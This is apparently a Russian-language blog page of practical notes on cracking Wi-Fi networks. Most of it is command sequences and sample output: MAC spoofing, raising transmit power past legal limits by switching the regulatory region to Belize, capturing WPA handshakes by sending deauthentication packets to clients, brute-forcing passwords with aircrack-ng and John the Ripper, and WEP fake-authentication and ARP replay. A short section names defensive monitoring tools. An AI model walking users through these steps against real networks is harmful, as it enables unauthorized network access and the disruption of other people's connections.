Подготовка
Посмотреть список сетевых устройств
Перевести Wi-Fi карту в режим монитора. Здесь и далее имя wifi карты
wlan0
таким же образом, только командой
stop можно остановить монитор на сетевой карте.
По-умолчанию имя монитора
wlan0mon, используем теперь его.
Некоторые программы могут вмешиватся в работу адаптера. Их список можно просмотреть:
airmon-ng check
и при необходимости сделать попыку завершить их работу:
airmon-ng check kill
Проверить, поддерживает ли карта инъекцию пакетов (injection_test) [подробнее, doc]
aireplay-ng -9 wln0mon
Поменяем mac адрес карты, для этого отключаем её
ifconfig wlan0mon down
поменять MAC адрес сетевой карты на рандомный (
-r) или какой-то определённый (
-m 00:31:41:59:26:53)
macchanger wlan0mon -r
или
ifconfig wlan0mon hw ether 00:00:00:00:aa:bb
включаем сетевую карту
Не все карты поддерживают изменение мощности в руном режиме. Ограничения на мощность сигнала описаны в файле /lib/crda/regulatory.bin (просмотреть командой regdbdump /lib/crda/regulatory.bin), для России как и для многих других стран, мощность ограничена 20дБ:
country RU:
(2402.000 - 2482.000 @ 40.000), (N/A, 20.00)
Для Белиза ограничения иные:
country BZ:
(2402.000 - 2482.000 @ 40.000), (N/A, 30.00)
Поэтому просто сменив регион, можно установив большую мощность передаваемого (tx - transmit) радиосигнала.
ifconfig wlan0 down – выключаем интерфейс
macchanger -r wlan0 – меняем MAC
iw reg set BZ – выставляем регион Белиз
iwconfig wlan0 txpower 30 – увеличиваем мощность
ifconfig wlan0 up – поднимаем интерфейс
***
Метод перехвата handshake (WEP, WPA, WPA2)
Самый
простой способ. Необходимо перехватить момент авторизации клиента,
получить т.н.
handshake и используя последний подобрать пароль уже в офлайне. Ждать пока один из
клиентов сети подключится к ней не обязательно, можно отключить его от
сети и подождать переподключения, как правило оно происходит автоматически. Подробнее, но на английском:
http://www.aircrack-ng.org/doku.php?id=cracking_wpa
1. Промониторить доступные WiFi сети:
Например,
--wps показать информацию о WPS, о производителе (
-M) и времени (
--uptime) работы точки доступа
:
airodump-ng --wps -M --uptime wlan0mon
CH 3 ][ Elapsed: 15 mins ][ 2015-09-02 10:16 ][
PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH UPTIME WPS ESSID MANUFACTURER
E9:78:B0:BE:EF:38 -55 2057 98 0 5 54e. WPA2 CCMP PSK 0d 03:24:58 1.0 ETHER,LAB,PBC TP-LINK_BEEF38 TP-LINK TECHNOLOGIES CO
60:B3:4E:1A:08:6E -59 992 3 0 1 54e WPA2 CCMP PSK 0d 05:08:05 kv29 SAGEMCOM
7D:51:A2:6D:3B:B3 -81 1045 0 0 5 54e. WPA2 CCMP PSK 0d 01:27:42 SoftAP Unknown
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 8C:27:16:E7:65:86 -85 0 - 1 0 1
(not associated) 9C:C5:E4:E6:D9:57 -88 0 - 1 0 9
(not associated) 00:10:3B:24:B5:92 -70 0 - 1 0 61
(not associated) D7:4A:00:11:51:91 -93 0 - 1 0 49 Ivanov
E9:78:B0:BE:EF:38 8C:D1:07:BE:80:5F -71 0e- 1e 0 37
E9:78:B0:BE:EF:38 0C:BD:51:27:74:08 -65 0 - 1 0 8
Следить за конкретной точкой доступа и клиентами удобнее, если перейти в режим выделения <TAB> и там уже выделить интересующую точку доступа, автоматически будут подсвечены и подключенный к ней клиенты. Клавишей M устанавливается постоянная "подсветка" цветом ТД и подключенных устройств. Отсортировать таблицу по определённому полю можно последовательным нажатием клавиши S.
2. Начать запись перехваченных пакетов сети в файл:
airodump-ng -c <chanel_number> -w <out-file> --bssid <bssid> <interface>
-c номер прослушиваемого канала.
Сетевая
карта в один момент времени способна прослушивать только один канал. Если в
параметрах airodump-ng не указать конкретного канала, то карта будет слушать весь эфир, уделяя каждому отдельному каналу время и игнорируя данные передаваемые на других каналах.
-w имя файла, куда будут сохранены пакеты.
--bssid - bssid точки доступа.
***
В случае если во время перехвата пакетов возникает ошибка "
fixed channel -1" , то её можно попытаться исправить передав ключ
--ignore-negative-one. Такой же ключ нужно передать и программе
airoplay-ng.
[askubuntu],[kali]
3. параллельно процессу перехвата пакетов:
посылка пакетов деаутентификации
airoplay-ng -0 5 -a <bssid> <interface>
-0 режим отсылки пакетов деаутентификации
-a bssid точки доступа
-с ssid клиента, кого следует деаутентифицировать (необязательный параметр)
4. Ждать получения handshake.
Пакеты
деаутентификации посылаются напрямую клиентам, а они как правило имеют
меньший радиус "слышимости" чем точка доступа. Проследить получение
клиентом пакетов можно по количеству ответных ACK пакетов от него.
возможно стоит поэкспериментировать со скоростью работы карты
iwconfig <interface> rate auto [1MB, 2MB, 11MB, 54MB, etc] чтобы она совпадала со скоростью работы точки доступа.
Иногда airodump-ng не сообщает о получении handshake, поэтому стоит время от времени проверять cap файл на наличие handshake.
Самый простой способ это сделать, открыть файл например с помощью wireshark и применить фильтр
eapol.
Например:
tshark -r n-01.cap -Y "eapol"
Для брута пароля необходимо два первых последовательных пакета"рукопожатия" (производимого с ТД за 4 шага). В них содержатся случайные строки сгенерированные клиентом и ТД - A-nonce и S-nonce, которые необходимы для генерации ключа PTK, а также MIC который используется для подбора пароля.
Более быстрый, но чуть менее надежный (с практической точки зрения) результат может дать программа
cowpatty:
cowpaty -c -r <cap_file>
Вполне возможно, что данных для брута в cap файле достаточно, но cowpatty вполне справедливо может отметить, что handshake не полный.
Выдернуть только необходимые для брута пакеты из дампа способна утилита
wpaclean, тем самым избавив от необходимости работы с возможно объёмным cap файлом:
wpaclean <новый-pcap-файл> <pcap-файл>
5. Если handshake получен, то
приступить к подбору пароля
aircrack-ng <dump-file.cap> -w <pass_dict>
<dump> - имя файла с дампом.
-w имя файла со словарём паролей.
вместе c Backtrack поставляется словарь, найти его можно здесь:
/root/pentest/passwords/wordlists, aircrack-ng тоже содержит в директории_исходных_кодов
\test\password.lst словарь.
Предварительно можно запустить бенчмарк для измерения скорости подбора:
aircrack-ng -S
а также показать сведенья о процессоре:
aircrack-ng -u
Для генерации собственного своего словаря можно
использовать crunch.
Если есть необходимость применить
правила трансформации для паролей из словаря, то можно использовать
John The Ripper через конвейер:
/opt/john/john --stdout -w:wordlist.lst --rules | aircrack-ng handshake -b 11:22:22:22:22:22 -w -
JohnTheRipper-Jumbo тоже подойдёт для перебора. Однако нужно конвертировать handshake из pcap файла в понятный для John формат с помощью программы wpapcap2john, что поставляется вместе с версией сообщества JTR-Jumbo (git, ветка bleeding jumbo):
/opt/john/wpapcap2john dump.cap > handshake.john
/opt/john/john lar-handshake.john --format=wpapsk
Кроме использования правил, John может похвастаться возможностью сохранять состояние перебора, позволяя продолжить его в дальнейшем с того же места, где работа была прервана.
Fake authentation
airodump-ng -c <channel> -w <out_file> --bssid <bssid> <interface> # dumping...
# making fake authentication
aireplay-ng -l 0 -a <bssid> -h <my_ssid> <interface>
#start airplay-ng in ARP request replay mode (-3 )
aireplay-ng -3 -b <bssid> -h <my_ssid> <interface>
#cracking the password
aircrack-ng -n <64 or 128 or ..> --bssid <bssid> <cap file>
...
Защита wifi
SoftPerfect WiFi Guard (Windows, MacOS) производит сканирование сети с определённым интервалом. Предупреждает о подключении незнакомого устройства, показывает список WiFi клиентов.
 |
| SoftPerfect WiFi Guard |
waidps (python script). В число возможностей программы входит обнаружение атак и подозрительной активности в WiFi сетях. Ведёт логирование и предупреждает об атаках. Во время работы переводит WiFi адаптер в режим монитора.
 |
пример вывода waidps.
| (изображение с syworks.blogspot.ru) |
| |
|
|
|
Алсо
Тест скорости подбора паролей WPA (
-S )
aircrack-ng -S
Подключение к wifi сети из командной строки
С использованием
утилиты сходящей в состав Network Manager -
nmcli [using nmcli],
[also].
С программой довольно просто работать, ибо по двойному т
абу она показывает возможные команды. Кроме того, в руководстве есть примеры использования.
Просмотрим список доступных сетей:
nmcli dev wifi
SSID BSSID РЕЖИМ ЧАСТОТА СКОРОСТЬ СИГНАЛ БЕЗОПАСНОСТЬ АКТИВЕН
'network1' C1:B0:C1:f6:AD:09 Инфраструктура 2417 МГц 54 МБ/с 69 WPA2 нет
'network2' F0:37:AA:CF:F8:66 Инфраструктура 2462 МГц 54 МБ/с 62 WPA2 нет
Этот способ можно использовать и для того, что сравнить уровень сигнала на нескольких картах одновременно. В этом случае, для каждого адаптера будет отображаться своя таблица.
Подключимся к новой сети с SSID "
Cafe Hotspot 1" используя пароль
caffeine
nmcli dev wifi con "Cafe Hotspot 1" password caffeine name "My cafe"
***
При подключении к сети MAC адрес карты может поменяться на дефолтный, поэтому перед сменой адреса карты следует отключать службу
network-manager:
service network-manager stop
Другой путь - в настройках подключения Network Manager'a в поле cloned MAC указать вновь присвоенный карте MAC адрес.
***
Смена hostname:
askubuntu.com
***
Подробная информация об адаптерах
[askubuntu]
lshw -C network
или
iw list
***
Включение режима точки доступа WiFi карты с использование hostapd
habrahabr.ru
Стоит отметить, что hostapd игнорирует комментарии только в отдельных строках. Для проверки конфига ТД следует запускать не демон (service hostapd start), а использовать комманду (
-dd для подробного вывода)
hostapd -dd <файл конфигурации>
Нормальной работе hostapd может мешать NetworkManager, поэтому следует либо его отключить либо добавать MAC адрес интерфейса в исключения.
[help.ubuntu]
Другие утилиты
Python
С помощью пакеты Scapy можно довольно легко анализировать сетевые пакеты. Wifi - пакет с нехитрым названием и функционалом похожим на iwlist: сканирование сетей и подключение к ним.
Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers, TJ O'Connor
Другие атаки
Использование reaver для восстановления PIN-кода WPS
Модификация форка Reaver — t6x — для использования атаки Pixie Dust
Фальшивый хотспот Wifiphisher автоматически собирает пароли
Отправка сообщения по окончанию процесса перебора
Процесс
подбора пароля ожидаемо может быть долгим, поэтому логичным будет
как-то информировать пользователя об его окончании. Самый простой путь -
добавить комманду через точку с запятой после вызова aircrack:
aircrack-ng dump.cap -w wordlist; notify-send "John complited"
Обыкновенный вывод уведомления на экран программой
notify-send не подходит, то можно отправить XMPP сообщение программой
sendxmpp или емейл программой
mailx.
[linux notes]
Если
возникает необходимость настроить отправку сообщения когда aircrack-ng уже
запущен и нет желания прерывать его работу, то можно воспользоваться
простеньким однострочным скриптом:
while [ `pidof aircrack-ng` ]; do sleep 10; done; notify-send "..."
Скрипт
будет выполнять команду
sleep 10, до тех пор пока он может получить pid
процесса с именем aircrack-ng. Затем, когда pid не будет получен (процесс aircrack-ng
завершится) выполнится следующая комманда - notify-send. Разумеется для
корректной работы скрипта нужно чтобы работал только один экземпляр
процесса aircrack-ng.
Ссылки